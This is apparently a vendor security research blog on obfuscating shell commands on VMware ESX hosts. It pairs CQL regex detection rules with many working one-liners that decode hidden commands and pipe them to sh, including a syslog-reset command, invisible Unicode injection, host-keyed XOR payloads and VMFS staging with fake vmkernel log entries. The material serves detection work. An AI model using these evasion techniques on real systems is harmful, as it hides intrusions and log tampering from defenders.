VMware ESX systems are a recurring target in ransomware campaigns. Threat groups including SCATTERED SPIDER, BlackBasta, Royal (aka BlackSuit), Akira, and the ESX-focused ransomware as a service (RaaS) platform shinysp1d3r have demonstrated that once an adversary reaches the hypervisor layer, they can rapidly encrypt virtual machines, disable logging, and cripple an entire data center.
Traditional detection approaches that search ESX shell logs for known malicious commands assume the adversary will type commands in cleartext. However, command obfuscation is well understood on Linux and Windows, with public tools like Bashfuscator and Invoke-Obfuscation making evasion accessible. ESX runs a minimal BusyBox shell, not a full Bash environment, but our research demonstrates that obfuscation techniques not only survive ESX's constraints but extend far beyond basic encoding into cryptographic ciphers, infrastructure-keyed payloads, and alternative encoding systems.
CrowdStrike researchers systematically tested obfuscation techniques on an ESX environment, cataloged 21 distinct methods, and built regex-based CrowdStrike Query Language (CQL) detection patterns based on that research. All techniques were validated on ESX 7.0.3 build-20036589 running the VMware-provided BusyBox at /usr/lib/vmware/busybox/bin/busybox, which enables the awk GNU math extensions (xor, and, or).
Using CrowdStrike Falcon® Next-Gen SIEM, these patterns can be deployed as correlation rules across ESX shell telemetry, enabling security teams to hunt for obfuscated command execution at scale. This blog shares the techniques we discovered and the detection strategies to counter them.
Why Obfuscation Works on ESX
Despite BusyBox's minimal footprint, it maintains POSIX compliance for core shell functionality. Command substitution, variable expansion, escape sequence interpretation, and quoting mechanisms all function as expected. The awk utility, available on all ESX versions, provides a particularly rich attack surface with string manipulation, arithmetic, bitwise operations, and even system() for command execution.
The critical insight is that ESX shell logs capture commands during the parsing stage, before expansions occur. An obfuscated command, such as the following, executes identically to esxcli system syslog config get, but the log entry preserves the obfuscated form.
$(printf "\x65\x73\x78\x63\x6c\x69") system syslog config get
Any detection strategy that searches for the keyword "esxcli" would miss this command entirely.
This parsing-versus-execution gap is what makes obfuscation viable and what our detection strategy must account for.
Obfuscation Research: What Works on ESX
We validated obfuscation techniques on ESX in a controlled lab environment, progressing from well-known methods to increasingly advanced approaches. The research revealed that ESX's BusyBox shell supports significantly more obfuscation capability than its minimal reputation suggests. The 21 validated techniques fall into six categories.
Category 1: Escape Sequence Encoding
The most accessible techniques represent characters as numeric codes — octal (\145 for e) or hexadecimal (\x65 for e) — using printf, echo -e, or ANSI-C quoting ($'...'). These require only basic shell knowledge and work reliably across all ESX versions.
# Octal ANSI-C quoting - each argument individually encoded
$'\145\163\170\143\154\151' $'\163\171\163\164\145\155' $'\163\171\163\154\157\147' config get
# Full hex printf - entire command string in a single substitution
$(printf "\x65\x73\x78\x63\x6c\x69\x20\x73\x79\x73\x74\x65\x6d\x20\x73\x79\x73\x6c\x6f\x67") config get
# Mixed octal/hex - alternating encoding per character for polymorphism
$(printf "\145\x73\170\x63\154\x69\040\x73\171\x73\164\x65\155") syslog config get
An adversary can also encode the entire command line including arguments, leaving no readable text in the shell log:
$(printf "\145\163\170\143\154\151\040\163\171\163\164\145\155\040\163\171\163\154\157\147\040\143\157\156\146\151\147\040\163\145\164\040\055\055\162\145\163\145\164\075\154\157\147\150\157\163\164")
The above decodes to esxcli system syslog config set --reset=loghost — a syslog configuration change that could redirect or disable log forwarding.
Category 2: Character Generation and String Manipulation
Beyond static encoding, ESX's shell supports dynamic command construction through character generation, string reversal, environment variable harvesting, and command fragment concatenation.
Awk character generation converts ASCII decimal values to characters at runtime:
$(awk 'BEGIN{printf "%c%c%c%c%c%c",101,115,120,99,108,105}') system syslog config set --reset=loghost
Python character generation offers an alternative when Python is available on the host:
$(python -c "print(chr(101)+chr(115)+chr(120)+chr(99)+chr(108)+chr(105))") system syslog config set --reset=loghost
String reversal stores commands backward and reverses them during execution using sed, od, or awk:
# Reversal using sed capture groups
$(echo "ilcxse" | sed 's/\(.\)\(.\)\(.\)\(.\)\(.\)\(.\)/\6\5\4\3\2\1/') system version get
# Reversal using od hex dump piped through awk
$(echo "ilcxse" | od -An -tx1 | awk '{for(i=NF;i>=1;i--) printf "%c", ("0x"$i)+0}') system version get
Environment variable extraction harvests individual characters from existing shell variables like $TERM and $SHELL, assembling commands without introducing any encoded content:
$(echo $TERM | cut -c 3)$(echo $SHELL | cut -c 6)$(echo $TERM | cut -c 1)$(echo $TERM | cut -c 10)$(echo $TERM | cut -c 12)$(echo $SHELL | cut -c 3) system syslog config set --reset=loghost
This technique is particularly evasive because the command line contains no escape sequences, no encoded values, and no suspicious syntax — just references to standard environment variables that resolve to esxcli at runtime.
Note: This technique is environment-specific. The example assumes TERM=xterm-256color and SHELL=/bin/sh (ESX default values). Character positions will differ on systems with different environment variable values.
Hybrid combinations layer multiple techniques in a single command, which forces detection systems to match across several obfuscation classes simultaneously:
$(printf "\x65\x73\x78\x63\x6c\x69") $(printf "\x73\x79\x73\x74\x65\x6d") syslog config set `echo --`$'\162\145\163\145\164'=loghost
This single command uses hex printf, backtick substitution, and ANSI-C quoting together.
Category 3: Invisible Unicode Character Injection
Among the most novel techniques we validated, invisible Unicode characters can be interleaved between the visible characters of a command string. The shell's awk gsub() function strips them at runtime, leaving only the executable command — but the shell log preserves the full string including the invisible bytes, making the command unreadable to human analysts and invisible to keyword-based detection.
Zero-width Unicode characters: Four types of zero-width Unicode characters (Zero-Width Space, Zero-Width Non-Joiner, Zero-Width Joiner, and Word Joiner) are inserted between each visible character. These characters render as nothing in terminals and log viewers:
awk 'BEGIN{zws=sprintf("%c%c%c",0xe2,0x80,0x8b);zwnj=sprintf("%c%c%c",0xe2,0x80,0x8c);
zwj=sprintf("%c%c%c",0xe2,0x80,0x8d);wj=sprintf("%c%c%c",0xe2,0x81,0xa0);
s="e" zws "s" zwnj "x" zwj "c" wj "l" zws "i" zwnj " " zwj "v" wj "m" zws " " zwnj "p"
zwj "r" wj "o" zws "c" zwnj "e" zwj "s" wj "s" zws " " zwnj "l" zwj "i" wj "s" zws "t";
gsub(zws,"",s);gsub(zwnj,"",s);gsub(zwj,"",s);gsub(wj,"",s);system(s)}'
This decodes to esxcli vm process list. The technique is polymorphic: Four different zero-width characters cycle through positions, and the pool can be expanded to include Private Use Area (PUA) characters (U+E000 to U+F8FF, with 6,400 available codepoints for variation) or Supplementary Private Use Area characters (SPUA-A and SPUA-B, adding over 131,000 additional codepoints).
Mega hybrid with five Unicode types: The most extreme variant combines characters from five separate Unicode ranges: Supplementary Private Use Area A (SPUA-A), Supplementary Private Use Area B (SPUA-B), Mongolian Vowel Separator, Left-to-Right Mark (LRM), and Right-to-Left Mark (RLM). This draws from the largest possible character pool: over 131,000 invisible codepoints across the most obscure Unicode ranges:
awk 'BEGIN{spua=sprintf("%c%c%c%c",0xf3,0xb0,0x80,0x80);
spuab=sprintf("%c%c%c%c",0xf4,0x80,0x80,0x80);
mvs=sprintf("%c%c%c",0xe1,0xa0,0x8e);
lrm=sprintf("%c%c%c",0xe2,0x80,0x8e);rlm=sprintf("%c%c%c",0xe2,0x80,0x8f);
s="e" spua "s" spuab "x" mvs "c" lrm "l" rlm "i" spua " " spuab "v" mvs "m"
lrm " " rlm "p" spua "r" spuab "o" mvs "c" lrm "e" rlm "s" spua "s" spuab " "
mvs "l" lrm "i" rlm "s" spua "t";
gsub(spua,"",s);gsub(spuab,"",s);gsub(mvs,"",s);gsub(lrm,"",s);gsub(rlm,"",s);
system(s)}'
All Unicode injection variants share the same mechanism: awk's sprintf() constructs the invisible characters from raw byte values, string concatenation interleaves them with visible command characters, gsub() strips them, and system() executes the clean result. The detection pattern awk.*BEGIN.*printf.*%c.*[0-9] (P9 in our CQL rule) catches the character generation, and awk\s+.*\|\s*(?:\/bin\/)?(sh|bash)\b (P14) catches the pipeline to shell execution.
Category 4: Cryptographic Encoding
Our research revealed that ESX's awk implementation supports sufficient arithmetic and bitwise operations to implement genuine cryptographic encoding schemes. These techniques go well beyond simple character substitution by applying mathematical transformations that require corresponding inverse operations to decode.
Bitwise XOR with key: Each character is XORed with a constant key, and decoded at runtime using the same key. The OR variant can transform character case (uppercase to lowercase via OR 32):
$(awk 'BEGIN{for(i=0;i<256;i++)ord[sprintf("%c",i)]=i;s="ESXCLI";for(i=1;i<=length(s);i++)printf "%c",or(ord[substr(s,i,1)],32)}') system syslog config get
Fibonacci sequence XOR: Uses the Fibonacci sequence (1, 1, 2, 3, 5, 8, 13...) as a keystream, where each character position is XORed with a different Fibonacci number. This produces a unique key per position based on a mathematical sequence:
echo "103 112 125 107 97 124 2 65 52 176 153 11 13 184 88 107 38 77 174 70 130 84
" |
awk '{a=1;b=1;for(i=1;i<=NF;i++){k=(a+b)%256;printf("%c",xor($i,k));t=b;b=(a+b)%256;a=t}}' | sh
The encoded values are meaningless without knowing the Fibonacci keystream. This technique and several variants (prime number sequence XOR, position-dependent XOR, PRNG-based XOR using a Linear Congruential Generator) demonstrate that ESX's awk environment is capable of implementing cryptographically inspired encoding schemes.
Affine cipher: A classical cipher where each character is transformed through modular arithmetic: E(x) = (5x + 8) mod 256. Pre-encoded values require computing the modular inverse (a=5, ainv=205) to decrypt: D(y) = 205 * (y - 8) mod 256. Single-stage decode from pre-computed ciphertext:
echo "1 71 96 247 36 21 168 86 41 168 56 66 51 247 1 71 71 168 36 21 71 76" | awk
'BEGIN{a=5;b=8;m=256;for(i=0;i<m;i++)if((a*i)%m==1){ainv=i;break}}{for(i=1;i<=NF;i++){d=(ainv*($i-b+m))%m;printf("%c",d)}}' | sh
Cumulative XOR chain (CBC-like): Inspired by cipher block chaining, each character's decryption depends on the result of the previous character. This creates a stateful transformation where characters cannot be decoded independently; an error in any position corrupts the entire remaining output:
echo "101 22 11 27 15 5 73 86 27 77 80 2 29 12 6 22 0 83 76 5 26 7
" |
awk '{p=0;for(i=1;i<=NF;i++){c=xor($i,p);printf("%c",c);p=c}}' | sh
All of the above examples decode to esxcli vm process list. Additional validated variants include position-dependent XOR (where each position generates a unique key via modular arithmetic), prime number sequence XOR, and PRNG-based XOR using a Linear Congruential Generator (the same algorithm as C's rand() function). All are detected by the Bitwise XOR/OR/AND pattern (P7) in our CQL rule.
Category 5: ESX Infrastructure-Keyed Obfuscation
Perhaps the most concerning techniques we validated are those that derive decryption keys from the target ESX host's own infrastructure, binding the payload to a specific environment.
ESX build number as XOR key: The host's build number, extracted via esxcli system version get, serves as the decryption key. The encoded payload only decodes correctly on ESX hosts with that specific build version:
K=$(esxcli system version get | grep Build | awk '{print $3}' | head -c 2); K=${K:-9};
echo "108 122 113 106 101 96 41 127 100 41 121 123 102 106 108 122 122 41 101 96 122 125" |
awk -v key=$K '{for(i=1;i<=NF;i++)printf("%c",xor($i,key))}' | sh
Hostname length as XOR key: Uses the character count of the ESX hostname as the decryption key, creating host-specific payloads.
Multi-conditional infrastructure gates: Executes the payload only when specific infrastructure conditions are met (e.g., firewall enabled AND more than 5 VMs running), combining esxcli and vim-cmd checks:
[ $(esxcli network firewall get | grep -c "Enabled: true") -gt 0 ] &&
[ $(vim-cmd vmsvc/getallvms | wc -l) -gt 5 ] &&
$(printf "\145\163\170\143\154\151\040\166\155\040\160\162\157\143\145\163\163\040\154\151\163\164")
These infrastructure-keyed techniques represent a significant challenge for static analysis and sandbox-based detection, as the payload behavior depends on the live state of the target host.
VMFS + Syslog combined steganography: The most operationally aware technique we validated combines ESX filesystem steganography with log injection. The payload is written as an octal-encoded file to a VMFS volume, bracketed by fake vmkernel log entries that make the activity appear to be a routine storage check. After execution, the file self-deletes:
F=/vmfs/volumes/$(esxcli storage filesystem list | grep VMFS | head -1 | awk '{print $2}')/.sys$(date +%N);
logger -t "vmkernel" "Storage check: $F";
printf "\145\163\170\143\154\151\040\166\155\040\160\162\157\143\145\163\163\040\154\151\163\164" > $F;
sh $F; rm -f $F;
logger -t "vmkernel" "Storage check complete"
This technique layers multiple evasion strategies: The hidden file on VMFS uses a .sys prefix to blend with system files, the logger commands create legitimate-looking vmkernel entries that bracket the actual execution, and the rm -f provides anti-forensics. For a threat hunter reviewing syslog, the execution is masked between two routine-looking storage messages.
Category 6: Alternative Encoding Systems
The final category breaks away from numeric encoding entirely, using alternative representation systems that produce fundamentally different visual patterns in shell logs.
Morse code encoding: Commands are encoded as dots and dashes following the ITU-R M.1677-1 standard. An awk lookup table decodes the Morse to ASCII characters:
awk 'BEGIN{m[".-"]="a";m["-..."]="b";m["-.-."]="c";m["-.."]="d";m["."]="e";m["..-."]="f";
m["--."]="g";m["...."]="h";m[".."]="i";m[".---"]="j";m["-.-"]="k";m[".-.."]="l";m["--"]="m";
m["-."]="n";m["---"]="o";m[".--."]="p";m["--.-"]="q";m[".-."]="r";m["..."]="s";m["-"]="t";
m["..-"]="u";m["...-"]="v";m[".--"]="w";m["-..-"]="x";m["-.--"]="y";m["--.."]="z";m["/"]=" ";
split(". ... -..- -.-. .-.. .. / ...- -- / .--. .-. --- -.-. . ... ... / .-.. .. ... -",w," ");
for(i=1;i<=length(w);i++)printf("%s",m[w[i]])}' | sh
This decodes to esxcli vm process list. The shell log contains only dots, dashes, and slashes — no numbers, no escape sequences, no hex characters. Detection patterns trained on numeric encoding would miss this entirely.
Binary representation: ASCII values expressed as binary strings (e.g., 1100101 for e), decoded through awk binary-to-decimal conversion and piped to sh:
awk 'BEGIN{split("1100101 1110011 1111000 1100011 1101100 1101001 100000 1110110 1101101 100000
1110000 1110010 1101111 1100011 1100101 1110011 1110011 100000 1101100 1101001 1110011 1110100",
w," ");for(i=1;i<=length(w);i++){v=0;b=w[i];for(j=1;j<=length(b);j++){v=v*2+substr(b,j,1)}
printf("%c",v)}}' | sh
Scientific notation: ASCII values disguised as floating-point numbers (e.g., 1.01e2 = 101 = e). Awk's automatic type coercion handles the conversion:
awk 'BEGIN{split("1.01e2 1.15e2 1.20e2 9.9e1 1.08e2 1.05e2 3.2e1 1.18e2 1.09e2 3.2e1
1.12e2 1.14e2 1.11e2 9.9e1 1.01e2 1.15e2 1.15e2 3.2e1 1.08e2 1.05e2 1.15e2 1.16e2",
w," ");for(i=1;i<=length(w);i++)printf("%c",w[i])}' | sh
Additional validated encodings include Caesar cipher (ROT13 variant with two-stage encode/decode) and Quoted-Printable encoding (MIME =XX format). All decode to the same command but present radically different visual patterns in logs.
Building the Hunt: Detection Queries
From the 21 validated techniques, we identified the syntactic primitives that each category shares and built regex-based CQL detection patterns targeting those primitives. The detection logic uses a case{} statement where each branch targets a specific obfuscation class:
#Vendor="vmware" #event.module="esxi" #event.dataset="esxi.shell" #repo!="xdr*"
| #event.kind="event"
| case {
// Printf Command Substitution
process.command_line=/(?:\$\(printf\s+[^)]*\)|`printf[^`]*`)/;
// Octal Escape Sequences
process.command_line=/(\\[0-7]{3})/;
// Hex Escape Sequences
process.command_line=/((\\x[0-9a-fA-F]{2}){2})/;
// ANSI-C Quoting with Escapes
process.command_line=/\$'[^']*\\[0-9x][^']*'/;
// Dynamic Command Execution
process.command_line=/\b(eval|sh\s+-c)\s+.*(?:\$\w+|\$\()/;
// String Reversal Techniques
process.command_line=/awk.*length.*\w+--.*printf.*substr|awk.*for.*NF.*\w+--.*printf|od.*(?:-A\s*n.*-t\s*[xd]1|-t\s*[xd]1.*-A\s*n).*awk.*NF.*\w+--.*printf|sed.*\\[0-9]+.*\\[0-9]+.*\\[0-9]+.*\\[0-9]+|\$\{[^}]+:[0-9]+:[0-9]+\}.*\$\{[^}]+:[0-9]+:[0-9]+\}/;
// Bitwise XOR/OR/AND Operations
process.command_line=/awk.*(?:xor|\band\b|\bor\b)\s*\([^)]+\)|(?:xor|\band\b|\bor\b)\s*\(\s*\$[^,]+,\s*[0-9]+\s*\)|awk.*BEGIN.*(?:xor|\band\b|\bor\b)/;
// Backtick Command Hiding
process.command_line=/`(?:echo|printf)\s+(?:\w+|--[^`]*)`/;
// Awk Character Generation
process.command_line=/awk.*BEGIN.*printf.*%c.*[0-9]/;
// Python Character Generation
process.command_line=/python.*-c.*chr\([0-9]+\)/;
// Environment Variable Character Extraction
process.command_line=/(?:\$\([^)]*\$[A-Z_]+[^)]*\)){2,}/;
// String Character Reordering
process.command_line=/(?:\$\{[^}]+:[0-9]+:[0-9]+\}){3}/;
// Multiple Variable Concatenation
process.command_line=/(?:\$\{[A-Z_][A-Z0-9_]*\}){2}/;
// Awk-Constructed Command Piped to Shell Execution
process.command_line=/awk\s+.*\|\s*(?:\/bin\/)?(sh|bash)\b/;
// Sed Transliteration Command
// Also catches $(echo...|sed 'y/.../') command substitution form
process.command_line=/sed\s+['"]?y\//;
// Short Variable Concatenation (lowercase, no braces)
process.command_line=/\$[a-z_]{1,3}\$[a-z_]{1,3}\$[a-z_]{1,3}/;
// Awk Substr String Assembly with Print
process.command_line=/awk.*substr\s*\(.*print/;
}
The ESX Activity Baseline
Effective threat hunting starts with understanding normal. We ran our hunt queries against production ESX shell telemetry to establish what routine activity looks like and whether obfuscation syntax appears in legitimate operations.
What Normal Looks Like
Across production ESX hosts, shell activity consists primarily of plaintext commands:
| Activity Category | Example Commands |
| Service management | /etc/init.d/hostd restart |
| Hardware management | /opt/hp/tools/hponcfg |
| Backup operations | ghettoVCB.sh -g /vmfs/volumes/backup/ghettoVCB.conf |
| Certificate renewal | /sbin/generate-certificates |
| NTP synchronization | /etc/init.d/ntpd restart |
| SSH hardening audits | cat /etc/ssh/sshd_config | grep -i AllowTcpForwarding |
| Network diagnostics | esxcli network nic vlan stats get -n vmnic6 |
| VM configuration review | cat vm-config.vmx | grep CPU |
Detection with CrowdStrike Falcon Next-Gen SIEM
The correlation rule template VMware - ESXi - Obfuscated Shell Command Execution consolidates all detection patterns into a single rule monitoring the vmware.esxi data source. The techniques covered map to MITRE ATT&CK T1027 (Obfuscated Files or Information), T1059.004 (Command and Scripting Interpreter: Unix Shell), and T1140 (Deobfuscate/Decode Files or Information).
This obfuscation detection rule joins a library of over 95 VMware correlation rule templates already available in Falcon Next-Gen SIEM, spanning ESX and vCenter threat categories including authentication brute-force, SSH lateral movement, ransomware attack chains, LOLBin abuse, syslog tampering, privilege escalation, guest VM manipulation, and VMFS filesystem anomalies. Customers ingesting VMware telemetry benefit from this full detection library out-of-the-box.
Beyond detection, CrowdStrike Falcon® Cloud Security provides visibility into VMware environments through the VMware Asset Inventory Collector, a lightweight OVA deployed into each vCenter that automatically scans the environment every two hours and surfaces all virtual machines in a single view. This gives security teams an always-current inventory of virtual machines across their hypervisor infrastructure.
For organizations looking to deepen their VMware security posture, the Hypervisor Jackpotting blog series provides detailed analysis of how adversaries including CARBON SPIDER, SPRITE SPIDER, and ALPHA SPIDER have targeted ESX infrastructure in ransomware campaigns:
- Hypervisor Jackpotting, Part 1: CARBON SPIDER and SPRITE SPIDER Target ESX Servers With Ransomware
- Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESX Servers
- Hypervisor Jackpotting, Part 3: Lack of Antivirus Support Opens the Door to Adversary Attacks
Conclusion
This research began with a question: How far can command obfuscation go on ESX? The answer exceeded our initial expectations. ESX's BusyBox shell supports not just basic escape sequence encoding but also invisible Unicode character injection, cryptographic ciphers, infrastructure-keyed payloads, VMFS steganography, and alternative encoding systems like Morse code and scientific notation — 21 distinct techniques across six categories, for which no public tooling or proof-of-concept frameworks previously existed.
By conducting this research proactively, we achieved two outcomes:
Threat intelligence: A comprehensive catalog of ESX-viable obfuscation techniques that security teams can use to understand the threat landscape
Detection capability: Regex-based CQL patterns that detect all 21 technique classes, validated against production ESX telemetry
Falcon Next-Gen SIEM provides the regex-capable correlation engine and ESX log ingestion needed to deploy these detections at scale. Security teams can begin hunting for obfuscated ESX shell commands today — before adversaries make it necessary.
Dive into topics like this at Fal.Con 2026 with expert-led sessions, hands-on training, and real-world insights. Register today!